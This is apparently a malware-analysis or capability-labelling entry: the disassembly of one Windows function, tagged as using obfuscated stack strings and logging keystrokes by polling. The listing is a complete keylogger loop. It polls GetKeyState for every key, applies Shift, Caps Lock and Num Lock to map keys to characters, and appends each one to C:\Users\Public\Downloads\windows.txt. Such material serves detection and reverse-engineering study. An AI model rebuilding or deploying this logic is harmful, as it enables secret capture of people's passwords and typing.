Function at 0x14000152a
Capabilities:
Contain obfuscated stackstrings
Log keystrokes via polling

Disassembly:
push rbp
sub rsp, 0x580
lea rbp, [rsp + 0x80]
movabs rax, 0x265e252423402129
mov qword [rbp + 0xc5], rax
mov dword [rbp + 0xcc], 0x282a26
movabs rax, 0x602f2e2d2c3d3b
mov qword [rbp + 0xbd], rax
movabs rax, 0x7e3f3e5f3c2b3a
mov qword [rbp + 0xb5], rax
mov dword [rbp + 0xaf], 0x275d5c5b
mov word [rbp + 0xb3], 0x3b
mov dword [rbp + 0xaa], 0x227d7c7b
mov byte [rbp + 0xae], 0
lea rax, [rbp - 0x60]
lea rdx, str.C:UsersPublicDownloadswindows.txt
mov rcx, rax
call sym.sprintf
mov dword [rbp + 0x4fc], 0
jmp 0x1400015d4
mov eax, dword [rbp + 0x4fc]
cdqe
mov dword [rbp + rax*4 + 0xd0], 0
add dword [rbp + 0x4fc], 1
cmp dword [rbp + 0x4fc], 0xfe
jle 0x1400015ba
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x4f4], eax
mov ecx, 0x90
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x4f0], eax
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x4ec], eax
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x4e8], eax
mov dword [rbp + 0x4fc], 0
jmp 0x140001946
mov eax, dword [rbp + 0x4fc]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x4e4], eax
mov eax, dword [rbp + 0x4fc]
mov byte [rbp + 0x4fb], al
cmp dword [rbp + 0x4e4], 1
jne 0x14000192a
mov eax, dword [rbp + 0x4fc]
cdqe
mov eax, dword [rbp + rax*4 + 0xd0]
test eax, eax
jne 0x14000192a
cmp dword [rbp + 0x4fc], 0x40
jle 0x140001749
cmp dword [rbp + 0x4fc], 0x5a
jg 0x140001749
cmp dword [rbp + 0x4f4], 0
jne 0x14000171f
cmp dword [rbp + 0x4ec], 0
jne 0x1400018df
cmp dword [rbp + 0x4e8], 0
jne 0x1400018df
mov eax, dword [rbp + 0x4fc]
add eax, 0x20
mov byte [rbp + 0x4fb], al
jmp 0x1400018df
cmp dword [rbp + 0x4ec], 1
je 0x140001735
cmp dword [rbp + 0x4e8], 1
jne 0x1400018df
mov eax, dword [rbp + 0x4fc]
add eax, 0x20
mov byte [rbp + 0x4fb], al
jmp 0x1400018df
cmp dword [rbp + 0x4fc], 0x2f
jle 0x14000178f
cmp dword [rbp + 0x4fc], 0x39
jg 0x14000178f
cmp dword [rbp + 0x4ec], 1
je 0x140001771
cmp dword [rbp + 0x4e8], 1
jne 0x1400018e2
mov eax, dword [rbp + 0x4fc]
sub eax, 0x30
cdqe
movzx eax, byte [rbp + rax + 0xc5]
mov byte [rbp + 0x4fb], al
jmp 0x1400018e2
cmp dword [rbp + 0x4fc], 0x5f
jle 0x1400017be
cmp dword [rbp + 0x4fc], 0x69
jg 0x1400017be
cmp dword [rbp + 0x4f0], 1
jne 0x1400017be
mov eax, dword [rbp + 0x4fc]
sub eax, 0x30
mov byte [rbp + 0x4fb], al
jmp 0x1400018e3
cmp dword [rbp + 0x4fc], 0xb9
jle 0x140001828
cmp dword [rbp + 0x4fc], 0xc0
jg 0x140001828
cmp dword [rbp + 0x4ec], 1
je 0x1400017e8
cmp dword [rbp + 0x4e8], 1
jne 0x140001808
mov eax, dword [rbp + 0x4fc]
sub eax, 0xba
cdqe
movzx eax, byte [rbp + rax + 0xb5]
mov byte [rbp + 0x4fb], al
jmp 0x1400018e3
mov eax, dword [rbp + 0x4fc]
sub eax, 0xba
cdqe
movzx eax, byte [rbp + rax + 0xbd]
mov byte [rbp + 0x4fb], al
jmp 0x1400018e3
cmp dword [rbp + 0x4fc], 0xda
jle 0x14000188c
cmp dword [rbp + 0x4fc], 0xdf
jg 0x14000188c
cmp dword [rbp + 0x4ec], 1
je 0x140001852
cmp dword [rbp + 0x4e8], 1
jne 0x14000186f
mov eax, dword [rbp + 0x4fc]
sub eax, 0xdb
cdqe
movzx eax, byte [rbp + rax + 0xaa]
mov byte [rbp + 0x4fb], al
jmp 0x1400018e3
mov eax, dword [rbp + 0x4fc]
sub eax, 0xdb
cdqe
movzx eax, byte [rbp + rax + 0xaf]
mov byte [rbp + 0x4fb], al
jmp 0x1400018e3
cmp dword [rbp + 0x4fc], 0xd
jne 0x14000189e
mov byte [rbp + 0x4fb], 0xa
jmp 0x1400018e3
cmp dword [rbp + 0x4fc], 0x69
jle 0x1400018c1
cmp dword [rbp + 0x4fc], 0x6f
jg 0x1400018c1
mov eax, dword [rbp + 0x4fc]
sub eax, 0x40
mov byte [rbp + 0x4fb], al
jmp 0x1400018e3
cmp dword [rbp + 0x4fc], 0x20
je 0x1400018e3
cmp dword [rbp + 0x4fc], 0x99
je 0x1400018e3
mov byte [rbp + 0x4fb], 0
jmp 0x1400018e3
nop
jmp 0x1400018e3
nop
cmp byte [rbp + 0x4fb], 0
je 0x14000192a
lea rax, [rbp - 0x60]
lea rdx, [0x14000b026]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x4d8], rax
movsx eax, byte [rbp + 0x4fb]
mov rdx, qword [rbp + 0x4d8]
mov ecx, eax
call sym.putc
mov rax, qword [rbp + 0x4d8]
mov rcx, rax
call sym.fclose
mov eax, dword [rbp + 0x4fc]
cdqe
mov edx, dword [rbp + 0x4e4]
mov dword [rbp + rax*4 + 0xd0], edx
add dword [rbp + 0x4fc], 1
cmp dword [rbp + 0x4fc], 0xfe
jle 0x140001681
jmp 0x1400015e0